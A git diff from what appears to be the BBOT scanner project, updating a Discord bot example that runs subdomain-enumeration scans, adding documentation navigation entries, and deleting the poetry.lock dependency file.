     @commands.command(name="scan", description="Scan a target with BBOT.")
     async def scan(self, ctx, target: str):
+        # stop any existing scan
         if self.current_scan is not None:
             self.current_scan.stop()
-        await ctx.send(f"Starting scan against {target}.")
+        await ctx.send(f"Starting scan against **{target}**")
 
-        # creates scan instance
-        self.current_scan = Scanner(target, flags="subdomain-enum")
-        discord_module = Discord(self.current_scan)
+        # create scan instance
+        self.current_scan = Scanner(target, presets=["subdomain-enum"])
 
-        seen = set()
+        # iterate through results and send them to the channel
         num_events = 0
-        # start scan and iterate through results
         async for event in self.current_scan.async_start():
-            if hash(event) in seen:
-                continue
-            seen.add(hash(event))
-            await ctx.send(discord_module.format_message(event))
+            # format findings differently to show severity
+            if event.type == "FINDING":
+                severity = event.data.get("severity", "INFO")
+                description = event.data.get("description", "")
+                event_text = f"`[FINDING]` [{severity}] **{description}**"
+            else:
+                event_text = f"`[{event.type}]` **`{event.data}`**"
+            await ctx.send(event_text)
             num_events += 1
 
-        await ctx.send(f"Finished scan against {target}. {num_events:,} results.")
+        await ctx.send(f"Finished scan against **{target}**. {num_events:,} results.")
         self.current_scan = None
 
+    @commands.command(name="stop", description="Stop the current scan.")
+    async def stop(self, ctx):
+        if self.current_scan is None:
+            await ctx.send("No scan is currently running.")
+            return
+        self.current_scan.stop()
+        await ctx.send("Scan stopped.")
+
 
 if __name__ == "__main__":
     intents = discord.Intents.default()
diff --git a/mkdocs.yml b/mkdocs.yml
index 498b0b4a6d..946fe6f498 100644
--- a/mkdocs.yml
+++ b/mkdocs.yml
@@ -31,9 +31,14 @@ nav:
     - Configuration: scanning/configuration.md
   - Modules:
     - List of Modules: modules/list_of_modules.md
+    - Internal Modules: modules/internal_modules.md
     - Nuclei: modules/nuclei.md
+    - Wayback: modules/wayback.md
     - Custom YARA Rules: modules/custom_yara_rules.md
     - Lightfuzz: modules/lightfuzz.md
+    - Webbrute: modules/webbrute.md
+  - Migration:
+    - 2.x → 3.0 Breaking Changes: migration/3.0_breaking_changes.md
   - Misc:
     - Contribution: contribution.md
     - Release History: release_history.md
@@ -41,8 +46,10 @@ nav:
 - Developer Manual:
   - Development Overview: dev/index.md
   - Setting Up a Dev Environment: dev/dev_environment.md
+  - Core Dependencies: dev/core_dependencies.md
   - BBOT Internal Architecture: dev/architecture.md
   - How to Write a BBOT Module: dev/module_howto.md
+  - Validating & Inspecting Presets: dev/preset_validation.md
   - Unit Tests: dev/tests.md
   - Discord Bot Example: dev/discord_bot.md
   - Code Reference:
@@ -52,7 +59,6 @@ nav:
     - Target: dev/target.md
     - BaseModule: dev/basemodule.md
     - BBOTCore: dev/core.md
-    - Engine: dev/engine.md
     - Helpers:
       - Overview: dev/helpers/index.md
       - Command: dev/helpers/command.md
diff --git a/poetry.lock b/poetry.lock
deleted file mode 100644
index 9731d6fe1c..0000000000
--- a/poetry.lock
+++ /dev/null
@@ -1,3805 +0,0 @@
-# This file is automatically @generated by Poetry 2.1.4 and should not be changed by hand.
-
-[[package]]
-name = "annotated-doc"
-version = "0.0.4"
-description = "Document parameters, class attributes, return types, and variables inline, with Annotated."
-optional = false
-python-versions = ">=3.8"
-groups = ["dev"]
-files = [
-    {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"},
-    {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"},
-]
-
-[[package]]
-name = "annotated-types"
-version = "0.7.0"
-description = "Reusable constraint types to use with typing.Annotated"
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev"]
-files = [
-    {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"},
-    {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"},
-]
-
-[[package]]
-name = "ansible-core"
-version = "2.17.14"
-description = "Radically simple IT automation"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35"},
-    {file = "ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8"},
-]
-
-[package.dependencies]
-cryptography = "*"
-jinja2 = ">=3.0.0"
-packaging = "*"
-PyYAML = ">=5.1"
-resolvelib = ">=0.5.3,<1.1.0"
-
-[[package]]
-name = "ansible-runner"
-version = "2.4.2"
-description = "\"Consistent Ansible Python API and CLI with container and process isolation runtime capabilities\""
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893"},
-    {file = "ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420"},
-]
-
-[package.dependencies]
-packaging = "*"
-pexpect = ">=4.5"
-python-daemon = "*"
-pyyaml = "*"
-
-[[package]]
-name = "antlr4-python3-runtime"
-version = "4.9.3"
-description = "ANTLR 4.9.3 runtime for Python 3.7"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"},
-]
-
-[[package]]
-name = "anyio"
-version = "4.12.1"
-description = "High-level concurrency and networking framework on top of asyncio or Trio"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev"]
-files = [
-    {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"},
-    {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"},
-]
-
-[package.dependencies]
-exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
-idna = ">=2.8"
-typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""}
-
-[package.extras]
-trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""]
-
-[[package]]
-name = "babel"
-version = "2.18.0"
-description = "Internationalization utilities"
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"},
-    {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"},
-]
-
-[package.extras]
-dev = ["backports.zoneinfo ; python_version < \"3.9\"", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata ; sys_platform == \"win32\""]
-
-[[package]]
-name = "backports-asyncio-runner"
-version = "1.2.0"
-description = "Backport of asyncio.Runner, a context manager that controls event loop life cycle."
-optional = false
-python-versions = "<3.11,>=3.8"
-groups = ["dev"]
-markers = "python_version == \"3.10\""
-files = [
-    {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"},
-    {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"},
-]
-
-[[package]]
-name = "backrefs"
-version = "6.1"
-description = "A wrapper around re and regex that adds additional back references."
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1"},
-    {file = "backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7"},
-    {file = "backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a"},
-    {file = "backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05"},
-    {file = "backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853"},
-    {file = "backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0"},
-    {file = "backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231"},
-]
-
-[package.extras]
-extras = ["regex"]
-
-[[package]]
-name = "beautifulsoup4"
-version = "4.14.3"
-description = "Screen-scraping library"
-optional = false
-python-versions = ">=3.7.0"
-groups = ["main", "docs"]
-files = [
-    {file = "beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb"},
-    {file = "beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86"},
-]
-
-[package.dependencies]
-soupsieve = ">=1.6.1"
-typing-extensions = ">=4.0.0"
-
-[package.extras]
-cchardet = ["cchardet"]
-chardet = ["chardet"]
-charset-normalizer = ["charset-normalizer"]
-html5lib = ["html5lib"]
-lxml = ["lxml"]
-
-[[package]]
-name = "cachetools"
-version = "6.2.6"
-description = "Extensible memoizing collections and decorators"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda"},
-    {file = "cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6"},
-]
-
-[[package]]
-name = "certifi"
-version = "2026.1.4"
-description = "Python package for providing Mozilla's CA Bundle."
-optional = false
-python-versions = ">=3.7"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c"},
-    {file = "certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120"},
-]
-
-[[package]]
-name = "cffi"
-version = "2.0.0"
-description = "Foreign Function Interface for Python calling C code."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-markers = "implementation_name == \"pypy\" or platform_python_implementation != \"PyPy\""
-files = [
-    {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"},
-    {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"},
-    {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"},
-    {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"},
-    {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"},
-    {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"},
-    {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"},
-    {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"},
-    {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"},
-    {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"},
-    {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"},
-    {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"},
-    {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"},
-    {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"},
-    {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"},
-    {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"},
-    {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"},
-    {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"},
-    {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"},
-    {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"},
-    {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"},
-    {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"},
-    {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"},
-    {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"},
-    {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"},
-    {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"},
-    {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"},
-    {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"},
-    {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"},
-    {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"},
-    {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"},
-    {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"},
-    {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"},
-    {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"},
-    {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"},
-    {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"},
-    {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"},
-    {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"},
-    {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"},
-    {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"},
-    {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"},
-    {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"},
-    {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"},
-    {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"},
-    {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"},
-    {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"},
-    {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"},
-    {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"},
-    {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"},
-    {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"},
-    {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"},
-    {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"},
-    {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"},
-    {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"},
-    {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"},
-    {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"},
-    {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"},
-    {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"},
-    {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"},
-    {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"},
-    {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"},
-    {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"},
-    {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"},
-    {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"},
-    {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"},
-    {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"},
-    {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"},
-    {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"},
-    {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"},
-    {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"},
-    {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"},
-    {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"},
-    {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"},
-    {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"},
-    {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"},
-    {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"},
-]
-
-[package.dependencies]
-pycparser = {version = "*", markers = "implementation_name != \"PyPy\""}
-
-[[package]]
-name = "cfgv"
-version = "3.5.0"
-description = "Validate configuration and produce human readable error messages."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"},
-    {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"},
-]
-
-[[package]]
-name = "charset-normalizer"
-version = "3.4.4"
-description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
-optional = false
-python-versions = ">=3.7"
-groups = ["main", "docs"]
-files = [
-    {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"},
-    {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"},
